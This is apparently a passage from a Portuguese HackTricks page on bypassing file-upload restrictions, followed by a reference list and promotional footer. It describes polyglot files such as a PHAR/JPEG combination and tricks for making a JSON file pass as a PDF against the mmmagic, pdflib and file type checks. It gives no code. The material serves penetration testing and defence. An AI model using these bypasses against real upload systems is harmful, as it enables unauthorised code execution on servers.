A utilidade central dos arquivos polyglot estĂĄ em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prĂĄtica comum em vĂĄrias aplicaçÔes envolve permitir apenas certos tipos de arquivo para upload â como JPEG, GIF ou DOC â para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critĂ©rios estruturais de mĂșltiplos tipos de arquivo, pode contornar essas restriçÔes furtivamente.
Apesar de sua adaptabilidade, os polyglots enfrentam limitaçÔes. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das polĂticas de extensĂŁo de arquivo da plataforma. Se o sistema for rigoroso quanto Ă s extensĂ”es permitidas, a mera dualidade estrutural de um polyglot pode nĂŁo ser suficiente para garantir seu envio.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Como evitar detecçÔes de tipo de arquivo enviando um arquivo JSON vålido mesmo quando não permitido, falsificando um arquivo PDF (técnicas do this blog post):
mmmagiclibrary: Desde que os bytes mĂĄgicos%PDFestejam nos primeiros 1024 bytes, Ă© considerado vĂĄlido (veja exemplo no post)pdfliblibrary: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que Ă© um PDF (veja exemplo no post)filebinary: Ele pode ler atĂ© 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que nĂŁo consiga parsear o conteĂșdo como JSON e entĂŁo, dentro do JSON, colocar a parte inicial de um PDF real e ele irĂĄ considerĂĄ-lo um PDF
References
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
-
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
-
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
-
https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
-
usd HeroLab â Gibbon LMS arbitrary file write (CVE-2023-45878)
-
HTB: Media â WMP NTLM leak â NTFS junction to webroot RCE â FullPowers + GodPotato to SYSTEM
-
0xdf â HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion â PHP RCE)
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
HackTricks